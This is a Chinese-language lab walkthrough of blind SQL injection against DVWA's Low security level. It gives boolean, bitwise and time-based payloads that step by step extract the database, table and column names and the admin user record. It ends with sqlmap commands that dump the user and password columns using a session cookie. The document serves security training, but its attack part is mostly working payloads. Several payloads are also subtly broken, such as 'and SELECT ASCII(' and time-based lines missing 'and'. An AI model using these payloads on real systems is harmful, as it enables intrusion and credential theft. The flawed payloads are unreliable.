DVWA-SQL盲注通关

DVWA-SQL盲注通关
lololoweSQL Injection(Blind)
概念:
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
手工盲注思路:
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。
手工盲注的基本步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
Low(基于布尔的字符型盲注)
首先进行正常的数据输入。根据环境提示,需要输入user ID,在文本框中输入数字1
,然后提交,返回结果如下图所示:
由上图知,在输入正确数据返回值为User ID exists in the database.
。输入错误数据mkbk
查看返回值为User ID is MISSING from the database
:
固定的提示信息符合SQL盲注的特点,即不会返回具体数据,只返回数据是不是存在。
1. 判断是否存在SQL盲注,注入是字符型还是数字型
输入1' and 1=1 #
,显示存在:
输入1' and 1=2 #
,显示不存在:
说明存在字符型的SQL盲注。
2. 猜解数据库名的长度
使用DATABASE()函数获取当前数据库,因是盲注,只返回正确与错误,无法将具体值返回显示,因此需要做较详细的判断,首先在使用DATABASE()函数获取到数据库名称后,需要判断出该名称的长度与名称字符组成。使用注入语句1' and LENGTH(DATABASE()) =1 #
做判断,显示为错误,判断长度不为1,继续将1替换为2、3、4等值作为注入,在注入过程中发现,当注入语句为1' and LENGTH(DATABASE()) =4 #
时返回值为正确,所以可以判断数据库长度为4。
输入
1' and LENGTH(DATABASE())=1 #
,显示不存在;
输入1' and LENGTH(DATABASE())=2 #
,显示不存在;
输入1' and LENGTH(DATABASE())=3 #
,显示不存在;
输入1' and LENGTH(DATABASE())=4 #
,显示存在:
3. 猜解数据库名
ASCII编码:大写字符A-Z的值为65-90;小写字符a-z的值为97-122;
SUBSTR(str, start, length)函数从str字符串的start位置开始提取LENGTH长度的子字符串。
ASCII()函数返回字符的 ASCII 码值(十进制)。
DATABASE()函数用于返回当前数据库的名称。
采用二分法判断字符
97a 98b 99c 100d 101e 102f 103g 104h 105i 106j 107k 108l 109m
110n 111o 112p 113q 114r 115s 116t 117u 118v 119w 120x 121y 122z
输入
1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) > 97 #
,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) < 122 #
,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) < 109 #
,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) < 103 #
,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) < 100 #
,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) > 100 #
,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
重复三轮上述步骤(但注意修改SUBSTR()函数的start值),就可以猜解出完整的数据库名(dvwa)了。
4. 猜解数据库中表的数量
1' and (select COUNT(table_name) from information_schema.tables where table_schema=DATABASE()) = 1 #
显示不存在1' and (select COUNT(table_name) from information_schema.tables where table_schema=DATABASE()) = 2 #
显示存在
说明数据库中共有2张表。
5. 猜解数据库中表的长度
LENGTH(str)
: 返回字符串的字符数(长度)。LIMIT offset, count
: offset 是结果集的起始行,从 0 开始计数。count 是要返回的行数。
1' and LENGTH( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) ) = 1 #
显示不存在1' and LENGTH( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) ) = 2 #
显示不存在
…1' and LENGTH( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) ) = 9 #
显示存在
说明第一张表的表名长度为9。
重复上述步骤,即可猜解出另一张表的长度为5。
6. 猜解数据库中表的名称
1' and ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) ) > 97 #
显示存在1' and ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) ) < 122 #
显示存在1' and ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1)) < 109 #
显示存在1' and ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1)) < 103 #
显示不存在1' and ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1)) > 103 #
显示不存在
说明第一张表的表名的第一个字符为小写字母g。
重复上述步骤,即可猜解出两个表名(guestbook、users)。
7. 猜解表中的字段数量
1' and ( select COUNT(column_name) from information_schema.columns where table_schema = DATABASE() and table_name = 'users' ) = 1 #
显示不存在
…1' and ( select COUNT(column_name) from information_schema.columns where table_schema = DATABASE() and table_name = 'users' ) = 8 #
显示存在
说明users表有8个字段。
8. 猜解表中的字段长度
1' and LENGTH( SUBSTR( (select column_name from information_schema.columns where table_name= 'users' limit 0,1), 1, 1 ) ) = 1 #
显示不存在
…1' and LENGTH( SUBSTR( (select column_name from information_schema.columns where table_name= 'users' limit 0,1), 1, 1 ) ) = 7 #
显示存在
说明users表的第一个字段的长度为7。
9. 猜解表中的字段名称
采用二分法,猜解字段名:
输入
1' and ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' LIMIT 0,1), 1, 1) ) > 97 #
显示存在,说明说明字段的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' LIMIT 0,1), 1, 1) ) < 122 #
显示存在,说明说明字段的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' LIMIT 0,1), 1, 1) ) < 110 #
显示不存在,可以判断在110-121之间;
输入1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' LIMIT 0,1), 1, 1) ) < 115 #
显示不存在,可以判断在115-121之间;
输入1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' LIMIT 0,1), 1, 1) ) < 118 #
显示存在,可以判断在115-117之间;
输入1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' LIMIT 0,1), 1, 1) ) > 116 #
显示存在,说明值为大于116,小于等于117,因都是整数值,所以值为117,对应ASCII码表,确定第一个字段的第一个字符为“u”。
使用相同的测试方法,获取其他字符,可以得到到第一个字段为user_id
。剩余的7个字段(user、password、last_name、last_login、first_name、failed_login、avatar)的长度和名称的获取方式同理。
10. 猜解数据
通过前面的盲注,已经获取到数据库dvwa包含2个表,guestbook和users,其中users表中的user和password字段是攻击的重点。
同样采用二分法对这两个字段的值的长度和名称进行猜解。
1 | > 1' and SELECT LENGTH( (SELECT `user` FROM dvwa.users LIMIT 0,1) ) = 1 # 显示不存在 |
1 | 1' and SELECT ASCII( SUBSTR( (SELECT `user` FROM dvwa.users LIMIT 0,1), 1, 1) ) > 97 # |
继续采用二分法逐一判断,测试获取每个字符,可以得到第一条记录为”admin”。
Low(基于布尔的字节型盲注)
基于字节注入,需要知道计算机在存储中,英文字符使用一个字节,存储一个汉字为两个字节进行存储,假设实验中数据都为英文字符,因此只需要处理一个字节的数据即可。一个字节是由八个比特位组成,比特位从高位到低位每一位代表的十进制数据如下表所示:
字节二进制位 | 十进制数据 |
---|---|
1000 0000 | 128 |
0100 0000 | 64 |
0010 0000 | 32 |
0001 0000 | 16 |
0000 1000 | 8 |
0000 0100 | 4 |
0000 0010 | 2 |
0000 0001 | 1 |
将一个字节分别与上面表中的八个二进制位进行逻辑“&”运算(如下表所示),即可将一个字节的每一位取出来。
数1 | 数2 | 数1 & 数2 |
---|---|---|
1 | 1 | 1 |
1 | 0 | 0 |
0 | 1 | 0 |
0 | 0 | 0 |
由上表知,两个数做&运算,当两个值都为1时为1,其他时候值为0。当一个值为1或0,与1做&运算还是1或0,还是原来的数值,保持不变。当一个值为1或0,与一个值0做&运算,结果都为0。
运用逻辑&运算的特性,可以将每一个位取出,例如一个二进制位“1001 1100”与表6-4中的八个二进制位做&运算,结果如下表。
字节二进制位 | 固定字节 | &结果 | 十进制数值 | 逻辑值 |
---|---|---|---|---|
1000 0000 | 1001 1100 | 1000 0000 | 128 | 1(真值) |
0100 0000 | 1001 1100 | 0000 0000 | 0 | 0(假值) |
0010 0000 | 1001 1100 | 0000 0000 | 0 | 0(假值) |
0001 0000 | 1001 1100 | 0001 0000 | 16 | 1(真值) |
0000 1000 | 1001 1100 | 0000 1000 | 8 | 1(真值) |
0000 0100 | 1001 1100 | 0000 0100 | 4 | 1(真值) |
0000 0010 | 1001 1100 | 0000 0000 | 0 | 0(假值) |
0000 0001 | 1001 1100 | 0000 0000 | 0 | 0(假值) |
由上表可知,做&算后会返回每一位的值,使用基于字节的注入方法,优点是每一个字符的判断只需要运行八次就可做准确判断。缺点是每一个字符最少也要做八次判断。采用二分法128个字符,最多需要2^n >= 128,即n为7,最多需要7次。
重复基于布尔的字符盲注步骤只是注入语句发生变化,这里只简单描述注入语句与注入结果。
测试判断数据库长度,注入语句为:
1
2
3
4
5
6
7
81' and ascii(length(database())) & 128 = 128# 错误
1' and ascii(length(database())) & 64 = 64# 错误
1' and ascii(length(database())) & 32 = 32# 正确
1' and ascii(length(database())) & 16 = 16# 正确
1' and ascii(length(database())) & 8 = 8# 错误
1' and ascii(length(database())) & 4 = 4# 正确
1' and ascii(length(database())) & 2 = 2# 错误
1' and ascii(length(database())) & 1 = 1# 错误由上面的逻辑值可知,二进制位为“0011 0100”转换为十进制为“52”,在ASCII码表中,十进制值为52的字符为数字4,所以数据库名长度为4。
数据库名每一个字符的判断,使用注入语句
1' and ascii(substr(database(),1,1)) & 128=128#
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。如下所示,有逻辑值可知,二进制位“0110 0100”,十进制数值为“100”,对应ASCII码表中字符“d”。1
2
3
4
5
6
7
81' and ascii(substr(database(),1,1)) & 128=128# 错误
1' and ascii(substr(database(),1,1)) & 64=64# 正确
1' and ascii(substr(database(),1,1)) & 32=32# 正确
1' and ascii(substr(database(),1,1)) & 16=16# 错误
1' and ascii(substr(database(),1,1)) & 8=8# 错误
1' and ascii(substr(database(),1,1)) & 4=4# 正确
1' and ascii(substr(database(),1,1)) & 2=2# 错误
1' and ascii(substr(database(),1,1)) & 1=1# 错误数据表个数判断,注入语句为
1' and ascii( select count(table_name) from information_schema.tables where table_schema = database()) & 128=128#
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。第一个数据表中,表名长度判断,注入语句为
1' and ascii(length( substr(select table_name from information_schema.tables where table_schema =database() limit 0,1),1)) & 128 =128 #
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。第一个表的表名第一个字符,注入语句为
1' and ascii( substr(( select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)) & 128=128 #
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。第一个表中列字段个数,注入语句为
1' and ascii(select count (column_name) from information_schema.columns where table_name = 'guestbook') &128=128 #
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。第一个表中第一个列字段长度,注入语句
1' and ascii(length(substr((select column_name from information_schema.columns where table_name ='guestbook' limit 0,1),1))) &128=128 #
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。第一个表中第一个列字段第一个字符的注入,语句为
1' and ascii(substr((select column_name from information_schema.columns where table_name ='guestbook' limit 0,1),1,1)) &128=128#
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。以users表中,user列为例,读取该列数据,获取该列数据行数,注入语句为
1' and ascii(select count(user) from users) &128=128#
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。users表中,user列,第一行数据长度。注入语句为
1' and ascii(substr((select user from users limit 0,1),1)) &128=128#
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。users表中,user列,第一行数据的第一个字符注入语句为
1' and ascii(substr((select user from users limit 0,1),1,1))&128=128#
,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。
Low(基于时间的字符型盲注)
概念:
攻击者通过在注入点插入特定的 SQL 语句,观察应用程序的响应时间,从而判断 SQL 查询是否返回了期望的结果。MySQL使用函数sleep(n),函数被正确执行,会让进程延迟n秒。函数返回值为0。
1. 判断注入类型
使用注入语句1 and sleep(5)
,没有感觉到时间延迟,即时间延迟函数没有被执行,通过分析下图返回值可以知道,注入语句作为字符串处理。
使用注入语句1' and sleep(5)#
,可以明显感觉到时间延迟,可以判断时间延迟函数被执行。
通过前面分析知道sleep()函数成功执行后返回0,与0做and运算,结果仍然为0,即假值,所以返回结果为错误,如下图所示。
说明存在字符型注入漏洞。
2. 猜解数据库名的长度
**IF(expr, true_val, false_val)**:expr 是一个条件表达式,如果为真(非零),则返回 true_val;如果为假(零),则返回 false_val。
1 | 1' and IF( LENGTH(DATABASE())=1, SLEEP(3), 1 ) # 没有延迟 |
说明数据库名的长度为4个字符。
3. 猜解数据库名
1 | 1' IF( ASCII( SUBSTR( DATABASE(), 1, 1 ) )>97, SLEEP(3), 1) # 明显延迟 |
说明数据库名的第一个字符为小写字母d(ascii值为100)。
重复上述步骤,即可猜解出数据库名(dvwa)。
4. 猜解数据库中表的数量
1 | 1' IF( (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = 'dvwa' )=1, SLEEP(3), 1) # 没有延迟 |
说明数据库中有两个表。
5. 猜解数据库中表的长度
1 | 1' and IF( ( SELECT ( SELECT LENGTH( (SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 0,1) ) ) = 1 ), SLEEP(3), 1) # 没有延迟 |
说明第一个表名的长度为9个字符。
继续修改LIMIT 0,1
为LIMIT 1,1
并重复测试即可求出第二个表名的长度为5个字符。
6. 猜解数据库中表的名称
1 | 1' and IF( ASCII( SUBSTR(( SELECT table_name FROM information_schema.tables WHERE table_schema = 'dvwa' LIMIT 0,1 ), 1, 1) )>97, SLEEP(3), 1) # 明显延迟 |
说明第一个表名的第一个字符为g(ascii码值为103)。
继续使用二分法可以猜解出剩余的8+5个字符。
7. 猜解表中的字段数量
1 | 1' and IF( (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users')=1, SLEEP(3), 1) # 没有延迟 |
说明表users中一共有8个字段。
继续使用此方法可猜解出guestbook表中的字段数量。
8. 猜解表中的字段长度
1 | 1' and IF( LENGTH((SELECT column_name FROM information_schema.columns WHERE table_name= 'users' LIMIT 0,1))=1, SLEEP(3), 1 ) # 没有延迟 |
说明users表的第一个字段长度为7个字符。
继续使用此方法可猜解出剩余的字段的长度。
9. 猜解表中的字段名称
1 | 1' and IF (ASCII(SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_name = 'users' AND table_schema = DATABASE() LIMIT 0,1), 1, 1 ))>97, SLEEP(3), 1 ) # 明显延迟 |
说明users表的第一个字段的第一个字符为”u”(ASCII码值为117)。
继续使用二分法可猜解出剩余的字段名。
10. 猜解数据
通过前面的盲注,已经获取到数据库dvwa包含2个表,guestbook和users,其中users表中的user和password字段是攻击的重点。
同样采用二分法对这两个字段的值的长度和名称进行猜解。
1 | 1' and IF( LENGTH( (SELECT `user` FROM dvwa.users LIMIT 0,1) ) = 1, SLEEP(3), 1 ) # 没有延迟 |
1 | 1' and IF(SUBSTR((SELECT `user` FROM dvwa.users LIMIT 0,1),1 , 1)>97, SLEEP(3), 1) # 没有延迟 |
继续采用二分法逐一判断,测试获取每个字符,可以得到第一条记录为“admin”。
总结
在基于时间的盲注中,攻击者通过观察页面的响应时间来判断是否成功注入。通常会使用 SLEEP() 函数来引入延迟,如果延迟生效,攻击者就可以得知注入是成功的。例如,通过在注入点使用 SLEEP() 函数:' OR IF(1=1, SLEEP(5), 0) #
。
盲注常用函数
函数 | 描述 |
---|---|
IF(expr, true_val, false_val) | expr 是一个条件表达式,如果为真(非零),则返回 true_val;如果为假(零),则返回 false_val |
SUBSTR(str, start, length) | 从str字符串的start位置开始提取LENGTH长度的子字符串 |
ASCII() | 函数返回字符的 ASCII 码值(十进制)。 |
COUNT() | 计算总数,返回匹配条件的行数 |
SLEEP(n) | 函数被正确执行会让进程延迟n秒 |
Low (利用SqlMap实现布尔盲注)
选项 | 作用 |
---|---|
–cookie=COOKIE_STRING | 指定用于请求的 HTTP Cookie |
–batch | 以非交互模式执行 SQL 注入检测任务,可以避免在运行过程中出现提示信息,使 sqlmap 在脚本中更容易自动化 |
–technique B | 指定了使用基于布尔的盲注技术进行 SQL 注入检测(默认会尝试多种技术) |
–threads 10 | 设置线程为10(默认为1),运行速度会更快 |
–current-db | 获取当前数据库的名称 |
-D DBNAME | 执行注入检测时专注于指定的数据库 |
-T TABLENAME | 执行注入检测时专注于指定的数据表 |
–columns | 获取目标数据表的列信息 |
-C | 指定了要检测的列 |
–dump | 将检测的结果输出到控制台(默认保存到文件) |
1. 查询存在的数据库
python sqlmap.py -u "http://192.168.217.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=a8hnv5qsv113eqjdpglhthggus" --batch --technique B --threads 10 --dbs
2. 查询当前使用的数据库
python sqlmap.py -u "http://192.168.217.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=a8hnv5qsv113eqjdpglhthggus" --batch --technique B --threads 10 --current-db
3. 获取数据库中的表
python sqlmap.py -u "http://192.168.217.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=a8hnv5qsv113eqjdpglhthggus" --batch --technique B --threads 10 -D dvwa --tables
4. 获取表中的字段
python sqlmap.py -u "http://192.168.217.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=a8hnv5qsv113eqjdpglhthggus" --batch --technique B --threads 10 -D dvwa -T users --columns
5. 爆表中的数据
python sqlmap.py -u "http://192.168.217.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=a8hnv5qsv113eqjdpglhthggus" --batch --technique B --threads 10 -D dvwa -T users -C user,password –dump